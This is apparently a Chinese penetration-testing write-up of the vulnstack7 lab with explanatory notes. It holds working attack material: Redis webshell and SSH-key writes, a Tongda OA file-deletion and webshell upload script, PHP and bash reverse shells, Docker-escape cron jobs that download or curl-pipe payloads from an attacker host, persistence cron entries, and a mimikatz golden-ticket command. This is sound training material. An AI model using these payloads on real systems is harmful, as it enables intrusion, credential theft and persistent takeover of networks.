vulnstack7靶场笔记

vulnstack7

环境搭建主要看靶场文件附带的pdf就可以,非常详细,这里就不再记录了

找入口点

现在本地做一个nmap扫描

1
nmap -sn 192.168.31.0/24

找到一台主机地址是192.168.31.123

做一下端口扫描,这里做的是全端口扫描

1
nmap -p 1-65535 -T4 -A -v 192.168.31.123

访问一下80和81端口

80端口显示504并且没有加载js文件

81端口加载出Laravel的初始页面,能看到php版本

php和Laravet版本比较高,我们尝试从redis入手

直接尝试一下未授权登录,发现真的能登陆进去

尝试写入ssh公钥,发现权限不够

1
2
3
4
redis-cli -h 192.168.31.123
192.168.31.123:6379> config set dir /root/.ssh
(error) ERR Changing directory: Permission denied
192.168.31.123:6379>

尝试写webshell,因为我们不知道网站根目录,只能按照nginx默认的目录尝试一下

1
2
3
4
 redis-cli -h 192.168.31.123
192.168.31.123:6379> config set dir /var/www/html
OK
192.168.31.123:6379>

可以看到成功切换到该目录

1
2
3
config set dbfilename shell.php
set x "<?php @eval($_POST['cmd']);?>"
save

save返回的结果是ERROR

这里想直接用redis是走不通了,来看web端网站,php网站框架Laravel 的漏洞利用

CVE-2022-30779(<=9.1.8)这个应该也可以利用,可以在网站根目录写文件

这里利用CVE-2021-3129

https://github.com/ajisai-babu/CVE-2021-3129-exp

顺利地直接连接成功了

蚁剑getshell之后,先用命令测试

1
cat /proc/self/cgroup

可以看到当前正处于容器中

不过查看cgroup目录的方法似乎只对cgroup v1有用,所以推荐使用查看根目录.dockerenv的办法:

1
ls -al /.dockerenv

提权

官方文档中提到了Linux环境变量提权,我们直接使用find命令来搜索具有SUID或4000权限的文件:

1
find / -perm -u=s -type f 2>/dev/null

看到一个比较突兀的shell文件

进入查看一下

1
2
3
4
5
6
7
8
9
10
(www-data:/home/jobs) $ ls
demo.c
shell
(www-data:/home/jobs) $ cat demo.c
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("ps");
}

demo.c是shell命令的源代码文件,可以看到shell命令是调用并执行了ps命令并且没有绝对路径,我们可以通过修改环境变量以及伪造ps命令,以路径劫持的方式获取root权限

这里先反弹shell

1
nc -lvvp 4444

在蚁剑利用脚本执行模块

1
system("php -r '\$sock=fsockopen(\"192.168.52.130\",4444);exec(\"/bin/bash -i <&3 >&3 2>&3\");'");

终于反弹回shell了

反弹shell这里用/bin/bash bash -i尝试了很久,一直报错,后来才知道当你执行 bash -i 时,系统需要去 PATH 变量定义的路径里寻找 bash 程序,我是想先提权的,所以这里的PATH变量已经被污染了,一直没有成功反弹shell

在可写目录(如 /tmp)伪造一个恶意 ps

1
2
3
4
5
6
7
# 进入 tmp 目录
cd /tmp
# 创建一个名为 ps 的文件,内容是启动 bash
echo "/bin/bash" > ps
chmod 777 ps
# 给这个伪造的 ps 增加执行权限
chmod +x ps

修改环境变量 $PATH

1
2
# 我们需要告诉系统:找命令时,先去 `/tmp` 找,再去别的地方找。
export PATH=/tmp:$PATH

运行shell命令

1
/home/jobs/shell

直接提权成功

Docker逃逸

Docker 特权模式逃逸

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

首先我们现在docker中新建一个/hack目录用来挂载文件:

1
mkdir /hack

然后ls /dev看到/dev目录会发现很多设备文件,

我们可以尝试将 /dev/sda1 挂载到/hack目录里:

1
mount /dev/sda1 /hack

如上图所示挂载成功了,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的

在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了。

我们可以通过写入计划任务的方式在宿主机执行metasploit生成的命令。

首先使用metasploit的web_delivery模块生成payload命令:

1
2
3
4
5
6
7
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.52.130
set lport 5555
set SRVPORT 8888
exploit

1
echo '* * * * * wget -qO 4NPuxLmq --no-check-certificate http://192.168.52.130:8080/Qwxij9muIe7ckOb; chmod +x 4NPuxLmq; ./4NPuxLmq& disown' >> /hack/var/spool/cron/crontabs/root

换命令尝试了很多次没成功

还是简单写个反弹shell的计划任务吧

1
echo '* * * * * root bash -c "bash -i >& /dev/tcp/192.168.52.130/7777 0>&1"' > /hack/etc/cron.d/root_shell

开启端口监听

1
nc -lvvp 7777

得到shell,修复一下PATH路径

1
2
#在你通过 Cron 计划任务或特定的 chroot 环境反弹回来的 Shell 中,系统处于一种“最小化环境”。此时的 PATH 可能只包含了 /bin 和 /usr/bin。许多高级系统管理工具(如 ifconfig, fdisk, reboot, iptables)存放在 /sbin 或 /usr/sbin 目录中。
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

执行一下ifconfig命令,可以看到有两张网卡

两个内网ip 192.168.52.20和192.168.93.10

但是没有看到我们最开始攻击的ip 192.168.31.123

其实做到这里已经很懵了,刚开始用redis写入ssh公钥的时候也没有成功写入,应该是我的环境搭建的时候没有用sudo启动

这个是需要rsa密钥的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > fee.txt

┌──(root㉿kali)-[~/.ssh]
└─# ls
fee.txt id_rsa id_rsa.pub known_hosts

┌──(root㉿kali)-[~/.ssh]
└─# cat fee.txt | redis-cli -h 172.20.10.3 -x set crackit
OK

┌──(root㉿kali)-[~/.ssh]
└─# redis-cli -h 172.20.10.3
172.20.10.3:6379> config set dir /root/.ssh
OK
172.20.10.3:6379> config set dbfilename "authorized_keys"
OK
172.20.10.3:6379> save
OK

ssh连接一下

终于连上了

看到了我们桥接网络的ip

看来目标网站应该是做了反向代理了,也就是说此时拿下的Ubuntu 18主机仅仅提供一个代理服务,真正的Web服务器是之前我们拿下的那台宿主机Ubuntu 14主机。查看一下nginx的配置文件

所以我们之前在81端口打的漏洞发的请求是被转发到192.168.52.20的80端口,这才是真正的web服务器

我们反弹shell给msf

1
2
echo '* * * * * root pgrep -f ssLNHRaQ > /dev/null || (wget -qO /tmp/ssLNHRaQ --no-check-certificate http://192.168.52.130:8888/w3ffPcKJPvohUSh && chmod +x /tmp/ssLNHRaQ && /tmp/ssLNHRaQ)' > /etc/cron.d/persistence_shell
<Q && /tmp/ssLNHRaQ)' > /etc/cron.d/persistence_shell

这个命令带进程检测,不会重复执行

修了半天网络和环境终于弹回shell了,感动死了

查看一下这台主机是否在域中,能否提供有用信息

1
ps -ef | grep sssd

判断他大概率不在域中

尝试探测其他主机

nmap发现第三台主机192.168.52.30

探测一下端口

1
nmap -Pn -sT -sV -F -O 192.168.52.30

发现探测不到任何端口开放服务的信息,指定端口探测会返回filtered

1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -Pn -p 135,139,445,3389,8080 192.168.52.30
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-11 19:01 CST
Nmap scan report for 192.168.52.30
Host is up.

PORT STATE SERVICE
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
3389/tcp filtered ms-wbt-server
8080/tcp filtered http-proxy

Nmap done: 1 IP address (1 host up) scanned in 3.02 seconds

刚开始以为是网络的问题,后来发现这应该是主机的防御措施

进入内网的请求只设置了一个入口点,是最外部的服务器web1 192.168.31.123(172.20.10.3,由于一个网卡是桥接网络,ip会更换)

所以现在需要我们在攻击机与web1之间建立socks5隧道

先添加路由

1
route add 192.168.52.0 255.255.255.0 2

路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用Venom搭建socks5反向代理服务。

在攻击机开启服务端

1
2
chmod +x admin_linux_x64
./admin_linux_x64 -lport 9999

传 Agent 到目标机 (Session 9)

在 Meterpreter 中执行:

1
2
3
4
5
meterpreter > upload /opt/Venom/agent_linux_x64 /tmp/v_agent
meterpreter > shell
cd /tmp
chmod +x v_agent
./v_agent -rhost 192.168.52.130 -rport 9999

建立 SOCKS5 隧道

回到 Kali 的 Venom 终端,你会看到节点上线:

  1. 查看节点show
  2. 进入节点goto 1(假设 1 号是你的宿主机)
  3. 开启代理socks 1080 此时,你在 Kali 本地开启了一个 1080 端口,该端口的流量会通过 Venom 隧道转发。

然后配置proxychains,将socks5服务器指向127.0.0.1:1080,之后便可以使用proxychains将我们攻击机上的程序代理进第二层网络(192.168.52.1/24)了

我们直接扫描一下192.168.52.30的端口

但是依旧是每个端口都timeout

但是测试nmap.20是能够正常扫描端口的

换了.20开隧道也不行,可能是环境的问题

在虚拟机ping.30也ping不到,没办法把.30的防火墙关了

关了防火墙就能ping到也能扫端口了

win7找入口点

可以看到这是一个win7主机,而且有工作组

访问一下8080端口,应该是搭建的网站

是一个登录页面

点击扫码登录可以看到是通达OA的系统登陆

访问一下配置页面http://192.168.52.30:8080/inc/expired.php

发现版本为11.6

找到一个文件上传的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*-
import requests
target="http://*****/"
payload="<?php @eval($_POST['ant']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")

url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
print("[-]Failed to deleted auth.inc.php")
exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('hack.php', payload)}
requests.post(url=url,files=files)
url=target+"/_hack.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
print("[+]Filed Uploaded Successfully")
print("[+]URL:",url)
else:
print("[-]Failed to upload file")

执行成功顺利用蚁剑连接

发现居然是个高权限

尝试反弹shell,还是反弹回cs吧

直接制作一个exe木马上传到c盘,运行一下,看到反弹回shell

看到两个ip地址 192.168.52.30和192.168.93.20

查看一下工作组

1
2
3
4
5
[05/12 13:09:13] beacon> shell echo %USERDOMAIN%
[05/12 13:09:13] [*] Tasked beacon to run: echo %USERDOMAIN%
[05/12 13:09:13] [+] host called home, sent: 48 bytes
[05/12 13:09:13] [+] received output:
WHOAMIANONY

可以判断机器在WHOAMIANONY的域中

其实直接执行ipconfig /all命令就可以,查看DNS后缀

看到所在域的域名

域信息收集

执行了一下发现system用户权限无法查询域相关信息,好像只有域用户可以查询

net view一下

发现疑似域控的主机,是在二层内网中

看到192.168.93.20IP的DNS服务器也是这台主机,猜测是域控

hashdump一下抓取hash

横向移动

抓取到了域管理员的账户和密码,可以开始横向

192.168.52.0网段的机器都被我们拿下了,现在关注192.168.93.0网段的机器就可以

探测存活主机和开放的危险端口,发现基本都开启了135和445端口,这太好了很方便我们横向移动

使用smb横向,拿到我们的域控机器权限

导出krbtgt的hash值

权限维持

既然已经有krbtgt的密码hash值,我们直接制作黄金票据用来实现权限持久化

获取domain SID

1
shell wmic useraccount get name,sid

域管理员的SID S-1-5-21-1315137663-3706837544-1429009142-500

去掉-500就是domain的SID S-1-5-21-1315137663-3706837544-1429009142

制作黄金票据

1
mimikatz kerberos::golden /user:Administrator /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /krbtgt:6be58bfcc0a164af2408d1d3bd313c2a /ptt

顺利完成,有黄金票据可以随时远程上线域控

但是票据有一个致命弱点需要注意:Kerberos 协议对时间极其敏感。如果 .20.30 的系统时间偏差超过 5 分钟,域控会认为票据已失效或属于重放攻击,从而直接拒绝。

总结

整体坐下来感觉这个靶场比较难的部分还是docker逃逸和绕过防火墙的部分,docker逃逸之前没有接触过,绕防火墙的时候不知道有什么问题,建了代理搭建了socks5隧道但是也没有成功探测访问到端口,甚至不能ping通,不知道问题是什么

知识点

redis写入ssh公钥

攻击能成功的核心是redis以root账户运行

利用 Redis 写入 SSH 公钥是一种典型的由于配置不当导致的远程代码执行(RCE)攻击手段。其核心原理是利用 Redis 的 CONFIG 命令动态修改数据库持久化文件的保存路径和文件名,从而将包含公钥的“脏数据”写入到目标系统的 ~/.ssh/authorized_keys 文件中。

以下是详细的操作原理分解:

核心原理:滥用 Redis 持久化机制

Redis 允许通过客户端命令动态调整其工作参数。攻击者主要利用了以下两个关键配置项:

  1. dbfilename: 设置持久化数据库文件的名称。
  2. dir: 设置持久化数据库文件的存储路径。

如果 Redis 以 root 身份运行没有设置密码(或弱口令),攻击者就可以通过远程连接控制 Redis,将其内存中的数据“强行”冲刷到系统的敏感目录中。

攻击步骤详解

  1. 准备恶意数据

攻击者首先在本地生成一对 SSH 密钥,并将公钥前后加上换行符(为了防止写入文件时与 Redis 自身的二进制格式数据混在一起导致解析失败)。

1
2
3
#生成公钥
ssh-keygen
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
  1. 将数据写入 Redis 缓存

利用 redis-cli 连接目标服务器,并将公钥内容设置为一个特定的 Key(例如 crackit):

1
cat foo.txt | redis-cli -h <target_ip> -x set crackit
  1. 篡改持久化路径

这是最关键的一步。攻击者通过命令将 Redis 的数据保存目录指向 SSH 的配置目录,并将文件名修改为公钥授权文件:

  • 修改路径config set dir /root/.ssh
  • 修改文件名config set dbfilename "authorized_keys"
  1. 强制保存(落盘)

执行 save 命令。此时,Redis 会将内存中的所有数据(包括刚才设置的包含公钥的 crackit 键值对)写入到 /root/.ssh/authorized_keys 中。

1
2
3
4
redis-cli -h 10.10.10.x
config set dir /root/.ssh
config set dbfilename "authorized_keys"
save
  1. 远程登录

由于目标服务器的 authorized_keys 已经被篡改,攻击者现在可以使用配对的私钥直接通过 SSH 免密登录服务器。

ssh root@10.10.10.x

CVE-2021-3129(debug rce)

影响版本:Laravel <= 8.4.2&&facade ignition 组件 < =2.5.1

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

exp文件:https://github.com/ajisai-babu/CVE-2021-3129-exp

通过webshell获取的权限判断当前所处位置

一般上传webshell会得到低权限用户www-data的权限

执行命令判断你当前是在真实的物理机/虚拟机中,还是被困在一个容器(如 Docker)里。

1
2
# 在 Linux 中,/proc/self/cgroup 记录了当前进程所属的资源控制组
cat /proc/self/cgroup
  1. 为什么要执行这个命令?

在渗透测试中,环境决定了你的攻击路径:

  • 如果是在物理机上:你可以直接尝试内核提权、抓取本地敏感文件、横向移动攻击其他内网主机。
  • 如果是在容器(Docker)里:你看到的所有文件和进程都是隔离的。你首先需要做的是“容器逃逸”,否则你无法触碰到宿主机的核心数据,也可能无法扫描到真正的内网。
  1. 如何通过输出结果进行判断?

当你运行 cat /proc/self/cgroup 时,观察每一行末尾的内容:

情况 A:你在 Docker 容器中

如果输出结果中包含大量的 docker 字符串或长串的十六进制字符,那么你百分之百在容器里。

示例输出: 11:pids:/docker/1648a3... 1:name=systemd:/docker/1648a3...

情况 B:你在普通的虚拟机或物理机中

如果输出结果看起来很“干净”,通常是 / 或者 /user.slice/...,没有 Docker 关键字。

示例输出: 11:pids:/user.slice/user-1000.slice/session-3.scope 1:name=systemd:/user.slice/user-1000.slice/session-3.scope

情况 C:你在 K8s (Kubernetes) 容器中

如果输出中包含 kubepods 关键字,说明你进入了 K8s 集群的一个 Pod。

示例输出: 11:pids:/kubepods/besteffort/pod...

使用另一种命令判断是否处于docker容器中

1
ls -al /.dockerenv

1.命令拆解

  • ls: List,列出目录内容的命令。
  • -al:
    • a (all):显示所有文件,包括以 . 开头的隐藏文件
    • l (long):以长格式显示,可以看到权限、属主、文件大小和修改时间。
  • /.dockerenv: 这是一个位于根目录(/)下的特定文件名。

2.核心含义:识别 Docker 环境

/.dockerenv 是 Docker 引擎在启动容器时,自动在容器根目录下创建的一个隐藏文件

  • 如果文件存在:意味着你当前极大概率处于一个 Docker 容器 内部。
  • 如果文件不存在(提示 No such file or directory):意味着你可能是在物理机虚拟机(VM) 或者其他非 Docker 容器(如某些特定的 LXC 容器)中。

3.为什么这个文件会出现?

早期的 Docker 版本利用这个文件来向容器内的进程传递环境变量或作为环境标识。虽然在现代 Docker 版本中,它的实际功能有所淡化(更多信息通过环境变量传递),但为了保持向下兼容性,Docker 依然会默认创建这个空文件。

docker逃逸

文章:https://www.cnblogs.com/yuy0ung/articles/18819294

工具:https://github.com/teamssix/container-escape-check

docker特权逃逸

为什么选择挂载 /dev/sda1

在 Linux 系统中,/dev/sda1 通常代表宿主机的第一个物理磁盘的第一个分区。这是操作系统的核心所在。

  1. 权限对等:当容器以 --privileged(特权)模式运行时,容器内的 root 用户实际上获得了几乎等同于外部宿主机 root 的内核权限。
  2. 打破隔离:默认情况下,容器只能看到自己的文件系统。但特权模式允许容器看到宿主机的设备文件(在 /dev 下)。
  3. 获取物理访问:通过将 /dev/sda1(宿主机的硬盘)挂载到容器内部的一个目录(如 /hack),你就成功地在容器里打开了一个通往宿主机真实世界的“传送门”

挂载后的提权逻辑

一旦你执行了 mount /dev/sda1 /hack,你就可以像操作容器本地文件一样操作宿主机文件了:

写入恶意脚本文件,等待反弹shell即可完成docker逃逸

写入计划任务的命令

1
echo '* * * * * wget -qO QdH11yeF --no-check-certificate http://192.168.52.130:8080/gLwKag96cJo6t2; chmod +x QdH11yeF; ./QdH11yeF& disown' >> /hack/var/spool/cron/crontabs/root

用这个命令没反应,换了一个命令

1
2
# 使用绝对路径,并指定 root 用户执行
echo '* * * * * root /usr/bin/curl -L http://192.168.52.130:8080/gLwKag96cJo6t2 | bash' >> /hack/etc/crontab
  1. /etc/crontab 的权限容错性更高
  • 对比: 你之前尝试写入的 /var/spool/cron/crontabs/root用户级计划任务表。Linux 内核对该目录下的文件有极其严格的安全检查(所有者必须是 root,权限必须是 600)。如果你在容器内操作,即便挂载了宿主机磁盘,写入的文件权限或所有权(UID/GID)往往会发生偏移,导致宿主机的 cron 进程因为安全校验失败而直接忽略该文件。
  • 优势: /etc/crontab系统级配置文件。虽然它也属于 root,但它的读取逻辑相对更稳定。只要内容格式正确,宿主机的 cron 守护进程(crond)每分钟都会重新加载并读取该文件。
  1. 引入了“用户名”字段
  • 格式差异:
    • 用户级 Cron:* * * * * command
    • 系统级 Cron (/etc/crontab):* * * * * user-name command
  • 关键点: 你在命令中加入了 root 字段。这告诉系统:“请以 root 身份运行后面的命令。” 之前的命令如果直接写在 /etc/crontab 里却没写用户名,系统会因为识别不了执行主体而报错,而写在用户级表中又卡在权限上。现在你把两者对齐了。
  1. 使用 curl | bash 的无文件执行
  • 绕过权限位: 之前的 wget 方案需要先下载文件,再执行 chmod +x。如果宿主机的文件系统(如 /tmp)设置了 noexec(禁止执行)挂载选项,或者 chmod 执行失败,Payload 就跑不起来。
  • 内存执行: curl ... | bash 是一种“流式执行”方式。它直接将远程服务器(你的 Kali)返回的代码传递给 bash 解释器。 这意味着代码在内存中运行,不需要在宿主机磁盘上产生可执行文件,从而完美绕过了磁盘权限、写保护或杀毒软件对新生成二进制文件的监控。
  1. 解决了 MSF 的 “Delivering Payload” 问题
  • 原因: 之前 MSF 没反应,是因为 cron 根本没去执行那条错误的命令。
  • 反应: 现在 /etc/crontab 被正确触发,宿主机的 curl 真正向你的 Kali 发起了 HTTP 请求。MSF 监控到 8080 端口有连接进来,于是显示了 “Delivering Payload”,并将恶意脚本发送给宿主机执行。

Linux提权

https://sakurahack-y.github.io/2022/03/11/Linux%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93

环境变量提权的思路

环境变量提权(Environment Variables Privilege Escalation)的核心逻辑在于:利用高权限程序(通常是 SUID 程序)在运行时对环境变量的信任。

你可以从以下三个方向入手:

  1. 路径劫持(PATH Variable Hijacking)(权限低适用)

如果一个 SUID 程序在执行时调用了系统命令(如 ls, cat, ping),但没有使用绝对路径(例如调用 ls 而不是 /bin/ls),你就可以通过修改 PATH 变量来劫持它。

  • 入手点:寻找调用了外部命令的自定义 SUID 程序。
  • 操作步骤
    1. /tmp 目录下伪造一个同名恶意文件:echo "/bin/bash" > /tmp/ls; chmod +x /tmp/ls
    2. 修改当前 Shell 的 PATHexport PATH=/tmp:$PATH
    3. 运行那个 SUID 程序。它会去 PATH 里找 ls,由于 /tmp 在最前面,它会以 root 权限运行你的 /tmp/ls(即返回一个 root shell)。
  1. 利用 LD_PRELOAD(最稳)

LD_PRELOAD 是 Linux 中一个非常强大的环境变量,它允许你定义在程序执行前优先加载的动态链接库(.so 文件)。

  • 入手点:检查当前用户是否具有 sudo 权限,且 env_keep 选项中保留了 LD_PRELOAD
    • 执行 sudo -l,如果看到 env_keep += LD_PRELOAD,则此路必通。
  • 操作步骤
    1. 编写一个简单的 C 脚本,在 _init 函数里执行 /bin/bash
    2. 将其编译为 .so 文件。
    3. 执行:sudo LD_PRELOAD=/tmp/pe.so <随便一个你可以sudo的程序>
  1. 利用 LD_LIBRARY_PATH

这个变量指定了程序搜索共享库时的路径。

  • 入手点:一个 SUID 程序依赖于某些动态链接库,而你对这些库所在的目录或搜索路径有写权限。
  • 操作步骤
    1. 使用 ldd <程序名> 查看它调用的库。
    2. 劫持其中一个库,编写一个恶意的同名库并放在 /tmp
    3. 执行:LD_LIBRARY_PATH=/tmp ./<SUID程序>
  1. 针对实战的快速探测

你可以先执行以下命令来寻找潜在的机会:

  1. 找 SUID 文件find / -perm -u=s -type f 2>/dev/null
  2. 看 SUID 程序内部是否调用了系统命令strings /usr/local/bin/some_suid_program 如果你看到 strings 输出里有 catcpchown 这种没有带斜杠 / 的命令,那就是路径劫持的机会!
  3. 看 Sudo 权限sudo -l 重点关注是否有 env_keep 相关的条目。

反弹shell

反弹shell的时候也一直报错,最后改了运行nc的监听命令才成功

找ai分析了一下原因

  1. nc -lvvp 开启了详细监听模式

你第二次执行的是 nc -lvvp 4444(比第一次多了一个 v)。

  • v 的作用:在某些版本的 nc 中,-vv 会强制显示更详细的调试信息,并确保在收到第一个非标准连接(比如 PHP 发起的 Socket)时不会因为握手问题直接挂断。
  • 状态刷新:更重要的是,你重新启动了监听器。nc 默认是“一次性”的,如果之前有任何错误的连接(比如之前的 curl 实验)占用了端口或导致进程退出,必须重启监听才能接收新连接。
  1. PHP fsockopen 绕过了系统限制

    1
    system("php -r '\$sock=fsockopen(\"192.168.52.130\",4444);exec(\"/bin/bash -i <&3 >&3 2>&3\");'");

你使用的 PHP 反弹脚本利用了 PHP 的原生网络库:

  • 绕过 /dev/tcp 禁用:很多加固过的系统(如你当前的 Ubuntu 环境)可能禁用了 Bash 的网络转发功能(即 /dev/tcp/...),导致 bash -i 命令失效。但 PHP 只要有网络权限,fsockopen 就能直接建立 TCP 连接。
  • 权限上下文一致:蚁剑本身就是通过 PHP 运行的,使用 PHP 脚本发起反弹,其执行环境和权限完全一致,不会因为调用外部 bash 时路径找不到或环境污染而失败。

fsockopen为什么能绕过

fsockopen 之所以被视为“更稳”的手段,是因为它在操作系统的执行层级上与传统的 bash 反弹有着本质的区别。

主要原因可以归纳为以下几点:

  1. 绕过 Bash 的“伪文件系统”限制

很多初学者使用的 bash -i >& /dev/tcp/IP/PORT 并不是 Linux 系统的标准功能,而是 Bash 解释器特有的扩展功能

  • 系统限制:在某些 Linux 发行版(如 Debian 或精简版 Ubuntu)中,编译 Bash 时可能禁用了 /dev/tcp 支持。此外,如果目标系统默认 Shell 是 dash(Ubuntu 常规配置),它根本不认识 /dev/tcp,会导致命令直接失效。
  • fsockopen 的优势:它直接调用 PHP 内核的 Socket 库,而 PHP 内核又是通过 C 语言直接调用 Linux 内核的 connect() 系统调用。它不依赖任何 Shell 的特性,只要 PHP 环境能跑,网络连接就能建立。
  1. 绕过环境变量与路径限制

当你执行 bash -i 时,系统需要去 PATH 变量定义的路径里寻找 bash 程序。

  • 系统限制:如果 PATH 被污染,或者 www-data 用户被限制在某个狭小的特定目录(Jail),可能无法启动 /bin/bash
  • fsockopen 的优势:PHP 进程已经启动并在内存中运行。fsockopen 是 PHP 的内置函数,不需要从硬盘加载额外的二进制文件来建立网络连接。这种“内存级”的操作避开了文件系统权限和路径搜索的麻烦。
  1. 规避简单的 WAF/IDS 字符串过滤

许多安全设备(如防火墙、入侵检测系统)会重点监控包含 bash -i/dev/tcpnc -e 等特征明显的反弹 Shell 字符串。

  • 系统限制:一旦命令行中出现这些关键词,请求可能被直接拦截。
  • fsockopen 的优势:PHP 脚本看起来只是正常的 Socket 通信。除非安全设备进行深度包检测(DPI)并分析流量行为,否则很难仅通过特征码拦截这种原生的 PHP 网络连接。
  1. 进程上下文的连续性

在蚁剑(AntSword)中,你实际上是向 index.php 发送了一个指令。

  • Bash 方式:PHP -> 调用系统 shell (sh) -> 调用 bash -> 建立连接。每多一层调用,权限和环境变量就可能丢失或报错。
  • fsockopen 方式:PHP 直接建立连接并重定向输入输出。这种方式路径最短,最能保证你在“脚本执行”窗口输入的代码原封不动地转化为网络流量。

为什么msf只需要开启一个端口可接收不同回连

为什么同一个端口(比如你设置的 5555)可以同时维持 Session 8 和 Session 9,甚至更多的连接?

这涉及到计算机网络中 TCP 连接的唯一性标识 以及 监听与通信套接字的分离

  1. 五元组:TCP 连接的“唯一身份证”

操作系统并不是单纯通过“端口号”来区分连接的。每一条 TCP 连接在内核中都由一个 “五元组” (5-tuple) 来唯一标识:

  1. 源 IP (Source IP)
  2. 源端口 (Source Port)
  3. 目的 IP (Destination IP)
  4. 目的端口 (Destination Port)
  5. 协议 (Protocol: TCP)

在你现在的场景中:

  • Session 8: [192.168.52.10, 57044, 192.168.52.130, 5555, TCP]
  • Session 9: [192.168.52.20, 56616, 192.168.52.130, 5555, TCP]

虽然目的端口都是 5555,但因为 源 IP源端口 不同,Linux 内核能精准地把数据包发给对应的 Meterpreter 会话,而不会混淆。

  1. 监听套接字 (Listening) vs 已连接套接字 (Connected)

想象一下银行的大堂经理柜台窗口

  • 监听套接字 (Listening Socket):这就是你的 LPORT 5555。它就像银行的大堂经理,只负责在大门口站岗,听有没有人喊“我要办业务”。它不负责具体的业务处理。
  • 已连接套接字 (Connected Socket):当一个目标(比如 192.168.52.20)连接过来时,大堂经理(5555 端口)会立即执行一个 accept() 操作,然后操作系统会派生出一个新的、专门的通信套接字来负责和它聊天。

结果: 5555 端口继续回到门口站岗,等待下一个回连;而已经建立的连接则在后台由不同的文件描述符 (File Descriptor) 独立运行。

  1. 一个端口能承载多少连接?

理论上,只要内存和系统资源足够,一个端口可以支持数万个连接。

  • 在服务端,限制连接数的通常是系统的 文件描述符限制 (ulimit)
  • 只要源 IP 或源端口其中一个不同,连接就是唯一的。

Venom使用

路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用Venom搭建socks5反向代理服务。

在攻击机开启服务端

1
2
chmod +x admin_linux_x64
./admin_linux_x64 -lport 9999

传 Agent 到目标机 (Session 9)

在 Meterpreter 中执行:

1
2
3
4
5
meterpreter > upload /你的路径/agent_linux_x64 /tmp/v_agent
meterpreter > shell
cd /tmp
chmod +x v_agent
./v_agent -rhost 192.168.52.130 -rport 9999

建立 SOCKS5 隧道

回到 Kali 的 Venom 终端,你会看到节点上线:

  1. 查看节点show
  2. 进入节点goto 1(假设 1 号是你的宿主机)
  3. 开启代理socks 1080 此时,你在 Kali 本地开启了一个 1080 端口,该端口的流量会通过 Venom 隧道转发。

判断linux机器是否在域中

  1. 检查核心服务状态

这是最直接的方法。绝大多数 Linux 加入域都会使用 sssdwinbind

  • 检查 SSSD(目前最主流)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    ps -ef | grep sssd
    # 或者查看其配置文件是否存在
    ls -l /etc/sssd/sssd.conf

    示例回显 (SSSD):
    Plaintext
    root 782 1 0 12:47 ? 00:00:01 /usr/sbin/sssd -i --logger=files
    root 785 782 0 12:47 ? 00:00:00 /usr/libexec/sssd/sssd_be --domain internal.corp
    root 798 782 0 12:47 ? 00:00:05 /usr/libexec/sssd/sssd_nss
    root 2540 2410 0 13:05 pts/0 00:00:00 grep sssd
    判断依据:看到了 /usr/sbin/sssd 或 /usr/libexec/sssd/...。这说明 SSSD 正在运行,它正在不断地与域控(DC)通信,同步域用户数据。
    示例回显 (Winbind):
    Plaintext
    root 1205 1 0 12:47 ? 00:00:00 /usr/sbin/winbindd
    root 1208 1205 0 12:47 ? 00:00:00 /usr/sbin/winbindd
    判断依据:看到了 winbindd。这是 Samba 套件的一部分,也是典型的入域特征。
  • 检查 Winbind(较老但常见)

    1
    ps -ef | grep winbindd
  1. 使用身份识别工具(最常用)

如果主机在域内,这些命令会返回域相关的信息:

  • realm 命令

    1
    realm list

    如果已入域,它会显示 domain-nameconfigured: kerberos-member 等详细信息。

  • adcli 命令

    1
    adcli info <domain_name>
  • id 命令: 尝试查询一个你已知的域账号:

    Bash

    1
    2
    3
    id username@domain.com
    # 或者
    id DOMAIN\username

    如果能返回 UID 和 GID,说明主机与域控制器(DC)通信正常。

  1. 检查 Kerberos 配置

Linux 加入域必须配置 Kerberos(用于身份认证)。

  • 查看配置文件

    1
    cat /etc/krb5.conf

    检查 [realms][domain_realm] 部分。如果里面定义了具体的域名(如 INTERNAL.CORP)和 KDC(域控服务器)地址,那么该机器极大概率是域成员。

